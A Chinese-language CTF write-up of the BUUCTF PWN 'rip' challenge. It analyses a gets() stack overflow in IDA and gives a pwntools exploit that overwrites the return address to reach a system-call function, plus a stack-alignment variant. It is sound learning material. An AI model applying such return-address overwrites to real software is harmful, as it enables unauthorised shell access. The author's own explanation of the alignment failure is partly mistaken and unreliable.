BUUCTF (PWN) RIP详细分析

很简单的栈溢出,不过对于栈溢出具体过程不理解的会卡的很惨

0x1 解题过程

由于初学嘛,就看了网上的wp,好像都是之前版本的,现在用就不太对,可能我入坑BUUCTF比较晚,现在用的题都是运行在Ubuntu18上的,故需要考虑堆栈平衡~~

IDA打开发现main下面还有一个fun()函数,很可疑
IDA打开发现main下面还有一个fun()函数,很可疑

别一味地F5,这个汇编很容易看明白,这个gets很明显没有限制输入,存在栈溢出漏洞
BUUCTF (PWN) RIP详细分析_第1张图片

双击s来到Stack of main视图,发现只需存入15个字节即可劫持函数返回地址
BUUCTF (PWN) RIP详细分析_第2张图片

因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)
BUUCTF (PWN) RIP详细分析_第3张图片

0x2:exp

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#p = process('./pwn1')
p = remote('node3.buuoj.cn', 26692)

#p.recvuntil("please input") 这道题不知道为啥recvuntil报连接超时。。
#buf = 'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186) 也可以,是网上wp的修改
buf_1 = 'a' * 15 + p64(0x401186)
#gdb.attach(p)

p.sendline(buf_1)

p.interactive()

0x03反思:

看了网上那些wp,经过研究思考发现,应该是他们使用23个‘a’覆盖时,多覆盖了8个’a‘,将Main函数栈顶覆盖了。我们知道call指令是先将当前ip指向位置压入栈的,多覆盖8字节正好将ip覆盖了,导致无法返回,从而get shell失败。
解决办法:payload=‘a’ * 23+ p64(0x401198) + p64(0x401186) #0x401198为返回地址
BUUCTF (PWN) RIP详细分析_第4张图片

大神帮忙看看我这个反思是否正确,望指点~

你可能感兴趣的:(BUUCTF,PWN刷题)